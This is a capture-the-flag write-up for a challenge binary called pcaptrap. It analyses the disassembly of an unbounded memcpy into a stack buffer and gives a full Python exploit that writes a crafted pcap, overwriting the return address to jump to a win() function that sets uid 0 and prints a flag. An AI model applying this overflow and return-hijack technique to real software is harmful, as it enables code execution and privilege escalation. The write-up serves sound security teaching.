Flash CTF – PCAP Trap

Overview

pcaptrap reads a .pcap, groups packets into bidirectional TCP streams, and prints a hex dump of each direction.

The intended behavior is:

  1. Reassemble a direction from TCP segments.
  2. Copy data into a stack buffer for display.
  3. Print metadata and a hex dump.

The vulnerability is in a special-case fast path for a direction with exactly one segment. That path performs an unbounded memcpy into a stack buffer.

Environment and Ground Truth

Disassembly facts used in the exploit:

  • the vulnerable stack buffer is zeroed with memset(..., 0x10000, ...), so its size is 0x10000 (65536) bytes
  • in the single-segment path, the program calls memcpy into that stack buffer with a length taken directly from the captured segment, with no upper bound
  • the win() function is at 0x401c60 and is reached by hijacking the overwritten return address

Program Flow

At a high level:

  1. main opens the input pcap and calls process_pcap.
  2. process_pcap parses Ethernet/IPv4/TCP packets and stores payload segments by stream and direction.
  3. For each stream, process_one_stream calls process_one_direction twice (one for each direction).
  4. process_one_direction reconstructs data and dumps it.

The bug sits in step 4.

Vulnerability Analysis

The vulnerable logic is inside the function at 0x4013c0:

  • process_one_direction.isra.0 is called from process_pcap for each TCP direction.
  • this function has a special fast path for directions that contain exactly one TCP segment.

The relevant single-segment fast path is shown below. The key point is the memcpy at 0x401715: it copies rdx bytes into a stack buffer at [rsp+0x50]. In this path, rdx is loaded from r12 and is not capped to 0x10000.

Disassembly: fast path entry and vulnerable memcpy

00000000004013c0 <process_one_direction.isra.0>:
  4013c0:	41 57                	push   r15
  4013c2:	4d 89 c7             	mov    r15,r8
  4013c5:	41 56                	push   r14
  4013c7:	41 55                	push   r13
  4013c9:	49 89 fd             	mov    r13,rdi
  4013cc:	41 54                	push   r12
  4013ce:	55                   	push   rbp
  4013cf:	48 63 ee             	movsxd rbp,esi
  4013d2:	31 f6                	xor    esi,esi
  4013d4:	53                   	push   rbx
  4013d5:	48 81 ec 58 00 01 00 	sub    rsp,0x10058
  4013dc:	48 8b 84 24 90 00 01 	mov    rax,QWORD PTR [rsp+0x10090]
  4013e4:	48 89 54 24 10       	mov    QWORD PTR [rsp+0x10],rdx
  4013e9:	48 8d 7c 24 50       	lea    rdi,[rsp+0x50]
  4013ee:	ba 00 00 01 00       	mov    edx,0x10000
  4013f3:	89 4c 24 18          	mov    DWORD PTR [rsp+0x18],ecx
  4013f7:	44 89 4c 24 1c       	mov    DWORD PTR [rsp+0x1c],r9d
  4013fc:	48 89 44 24 08       	mov    QWORD PTR [rsp+0x8],rax
  401401:	e8 9a fc ff ff       	call   4010a0 <memset@plt>
  401406:	85 ed                	test   ebp,ebp
  401408:	74 26                	je     401430 <process_one_direction.isra.0+0x70>
  40140a:	83 fd 01             	cmp    ebp,0x1
  40140d:	75 39                	jne    401448 <process_one_direction.isra.0+0x88>
  40140f:	4d 8b 65 10          	mov    r12,QWORD PTR [r13+0x10]
  401413:	49 8b 6d 08          	mov    rbp,QWORD PTR [r13+0x8]
  401417:	4d 85 e4             	test   r12,r12
  40141a:	0f 85 e5 02 00 00    	jne    401705 <process_one_direction.isra.0+0x345>

  401705:	4c 89 e2             	mov    rdx,r12
  401708:	48 89 ee             	mov    rsi,rbp
  40170b:	48 8d 7c 24 50       	lea    rdi,[rsp+0x50]
  401710:	bb 00 00 01 00       	mov    ebx,0x10000
  401715:	e8 e6 f9 ff ff       	call   401100 <memcpy@plt>
  40171a:	48 89 ef             	mov    rdi,rbp
  40171d:	e8 0e f9 ff ff       	call   401030 <free@plt>

  401722:	49 39 dc             	cmp    r12,rbx
  401725:	49 c7 45 08 00 00 00 	mov    QWORD PTR [r13+0x8],0x0
  40172c:	00 
  40172d:	49 0f 46 dc          	cmovbe rbx,r12
  401731:	e9 9c fe ff ff       	jmp    4015d2 <process_one_direction.isra.0+0x212>

The function eventually reaches the normal epilogue that executes ret:

  401430:	48 81 c4 58 00 01 00 	add    rsp,0x10058
  401437:	5b                   	pop    rbx
  401438:	5d                   	pop    rbp
  401439:	41 5c                	pop    r12
  40143b:	41 5d                	pop    r13
  40143d:	41 5e                	pop    r14
  40143f:	41 5f                	pop    r15
  401441:	c3                   	ret

Disassembly: call path into the vulnerable function

process_pcap calls process_one_direction.isra.0 twice, once per direction. The call instructions are at:

  401b04:	e8 b7 f8 ff ff       	call   4013c0 <process_one_direction.isra.0>
  401b32:	e8 89 f8 ff ff       	call   4013c0 <process_one_direction.isra.0>

The registers are set up so that process_one_direction.isra.0 receives, among other arguments, a pointer to the collected segment metadata. Inside process_one_direction.isra.0, the n_seg == 1 fast path reaches the vulnerable memcpy at 0x401715.

Disassembly: win() function

win() sets real/effective/saved uid and gid to 0, then reads /home/meta/flag.txt and writes its contents to stdout.

0000000000401c60 <win>:
  401c60:	53                   	push   rbx
  401c61:	31 d2                	xor    edx,edx
  401c63:	31 f6                	xor    esi,esi
  401c65:	31 ff                	xor    edi,edi
  401c67:	48 81 ec 00 02 00 00 	sub    rsp,0x200
  401c6e:	e8 0d f4 ff ff       	call   401080 <setresgid@plt>
  401c73:	31 f6                	xor    esi,esi
  401c75:	31 d2                	xor    edx,edx
  401c77:	31 ff                	xor    edi,edi
  401c79:	e8 f2 f3 ff ff       	call   401070 <setresuid@plt>
  401c7e:	48 8b 3d 9b 23 00 00 	mov    rdi,QWORD PTR [rip+0x239b]        # 404020 <stdout@GLIBC_2.2.5>
  401c85:	e8 96 f4 ff ff       	call   401120 <fflush@plt>
  401c8a:	48 8b 3d af 23 00 00 	mov    rdi,QWORD PTR [rip+0x23af]        # 404040 <stderr@GLIBC_2.2.5>
  401c91:	e8 8a f4 ff ff       	call   401120 <fflush@plt>
  401c96:	31 f6                	xor    esi,esi
  401c98:	31 c0                	xor    eax,eax
  401c9a:	bf d7 21 40 00       	mov    edi,0x4021d7
  401c9f:	e8 ac f4 ff ff       	call   401150 <open@plt>
  401ca4:	85 c0                	test   eax,eax
  401ca6:	0f 88 f4 f4 ff ff    	js     4011a0 <win.cold>
  401cac:	89 c3                	mov    ebx,eax
  401cae:	eb 19                	jmp    401cc9 <win+0x69>
  401cb0:	48 89 c2             	mov    rdx,rax
  401cb3:	48 89 e6             	mov    rsi,rsp
  401cb6:	bf 01 00 00 00       	mov    edi,0x1
  401cbb:	e8 a0 f3 ff ff       	call   401060 <write@plt>
  401cc0:	48 85 c0             	test   rax,rax
  401cc3:	0f 88 fa f4 ff ff    	js     4011c3 <win.cold+0x23>
  401cc9:	ba 00 02 00 00       	mov    edx,0x200
  401cce:	48 89 e6             	mov    rsi,rsp
  401cd1:	89 df                	mov    edi,ebx
  401cd3:	e8 e8 f3 ff ff       	call   4010c0 <read@plt>
  401cd8:	48 85 c0             	test   rax,rax
  401cdb:	7f d3                	jg     401cb0 <win+0x50>
  401cdd:	0f 85 d1 f4 ff ff    	jne    4011b4 <win.cold+0x14>
  401ce3:	89 df                	mov    edi,ebx
  401ce5:	e8 c6 f3 ff ff       	call   4010b0 <close@plt>
  401cea:	31 ff                	xor    edi,edi
  401cec:	e8 7f f4 ff ff       	call   401170 <exit@plt>

Why this smashes the return address

The stack buffer starts at [rsp+0x50], and the function’s ret reads the saved return address from higher up on the stack after:

  • add rsp,0x10058
  • pop rbxpop rbppop r12pop r13pop r14pop r15

That means the distance from the start of the stack buffer to the saved return address is 0x10038 bytes.

So if the TCP payload length (the rdx value passed to memcpy) is at least 0x10038 + 8, the memcpy will overwrite the saved RIP. By controlling the next 8 bytes, you control where execution returns.

Exploit Strategy

Goal: overwrite saved return address in process_one_direction.isra.0 and return to win().

Because we can choose TCP payload length, we can make one huge segment in one direction and hit the fast path (n_seg == 1).

The exploit payload layout used by writeup/exploit.py is:

  1. A * pad_len
  2. ret gadget (0x40101a) for stack alignment
  3. win address (0x401c60)

Where:

  • pad_len = 0x10038 = 65592
  • This matches the stack-frame distance to saved RIP for this build

So total payload length is:

  • 65592 + 8 + 8 = 65608 bytes

That size is accepted by the parser because:

  • pcap record limit is 131072
  • payload is below that ceiling

The parser groups payloads by TCP 4-tuple and direction.

If we supply exactly one TCP packet with payload in one direction, that direction gets n_seg == 1, which forces the vulnerable fast path.

Building the Malicious PCAP

exploit.py builds a valid pcap from scratch:

  1. Writes a standard 24-byte global pcap header.
  2. Writes one packet record header with incl_len == orig_len == len(packet).
  3. Packet bytes are:
    • Ethernet header (14 bytes, ethertype 0x0800)
    • IPv4 header (20 bytes)
    • TCP header (20 bytes)
    • malicious payload (A...A + ret + win)

Because packet parsing in pcaptrap uses the captured packet length and header offsets, checksums are not required for this exploit.

End-to-End Execution

  1. pcaptrap reads the crafted packet.
  2. It stores one segment for that direction.
  3. process_one_direction.isra.0 enters the n_seg == 1 branch.
  4. memcpy copies 65608 bytes into a 65536-byte stack buffer.
  5. Saved return address is overwritten with ret; win.
  6. On function return, control transfers to win.
  7. win calls setresuid/setresgid, opens /home/meta/flag.txt, and writes it to stdout.

Local note:

  • In a local dev run outside the container, you may see open flag: No such file or directory because win uses /home/meta/flag.txt.
  • That still proves control-flow hijack reached win.

exploit.py

#!/usr/bin/env python3
"""
Minimal exploit generator for PcapTrap.

It writes `exploit.pcap` in this directory, using hardcoded values that match
the provided challenge binary build.
"""

import struct
from pathlib import Path


STREAM_BUF_SIZE = 1 << 16  # 0x10000
PAD_TO_RIP = STREAM_BUF_SIZE + 56  # 0x10038 for this build

RET_GADGET = 0x40101A  # stack alignment gadget; execute then return to `win`
WIN_ADDR = 0x401C60


def pcap_global_header() -> bytes:
    # pcap global header (little-endian), version 2.4, DLT_EN10MB, snaplen large enough.
    return struct.pack(
        "<IHHIIII",
        0xA1B2C3D4,  # magic
        2,
        4,  # version 2.4
        0,
        0,  # tz, sigfigs
        262144,  # snaplen
        1,  # DLT_EN10MB
    )


def pcap_packet_record(packet_bytes: bytes) -> bytes:
    # Packet record header: ts_sec, ts_usec, incl_len, orig_len, then packet.
    n = len(packet_bytes)
    return struct.pack("<IIII", 0, 0, n, n) + packet_bytes


def make_eth_ip_tcp_packet(seq_num: int, payload: bytes) -> bytes:
    # Ethernet header: 12 bytes of MAC (zeros) + type 0x0800 (IPv4)
    eth = bytes(12) + struct.pack(">H", 0x0800)

    # IPv4 header (no options). total_len is not relied on by the parser.
    ip_hdr_len = 20
    tcp_hdr_len = 20
    ip_total_len = min(65535, ip_hdr_len + tcp_hdr_len + len(payload))
    ip = (
        struct.pack(">BBH", 0x45, 0, ip_total_len)  # ver/IHL, TOS, total_len
        + struct.pack(">HHB", 0, 0, 64)  # id, frag+flags, TTL
        + struct.pack(">B", 6)  # protocol TCP
        + struct.pack(">H", 0)  # checksum (ignored)
        + bytes(4)  # src 0.0.0.0
        + bytes(4)  # dst 0.0.0.0
    )

    # TCP header (no options). seq is big-endian.
    tcp = (
        struct.pack(">HH", 12345, 80)  # sport, dport
        + struct.pack(">I", seq_num)  # seq
        + struct.pack(">I", 0)  # ack
        + struct.pack(">BBH", 0x50, 0x18, 0x1000)  # doff, flags, window
        + struct.pack(">HH", 0, 0)  # checksum, urg ptr
    )

    return eth + ip + tcp + payload


def build_exploit_pcap() -> bytes:
    payload = b"A" * PAD_TO_RIP + struct.pack("<Q", RET_GADGET) + struct.pack(
        "<Q", WIN_ADDR
    )
    pkt = make_eth_ip_tcp_packet(0, payload)
    return pcap_global_header() + pcap_packet_record(pkt)


def main() -> None:
    out_path = Path(__file__).resolve().parent / "exploit.pcap"
    out_path.write_bytes(build_exploit_pcap())
    print(f"Wrote {out_path}")


if __name__ == "__main__":
    main()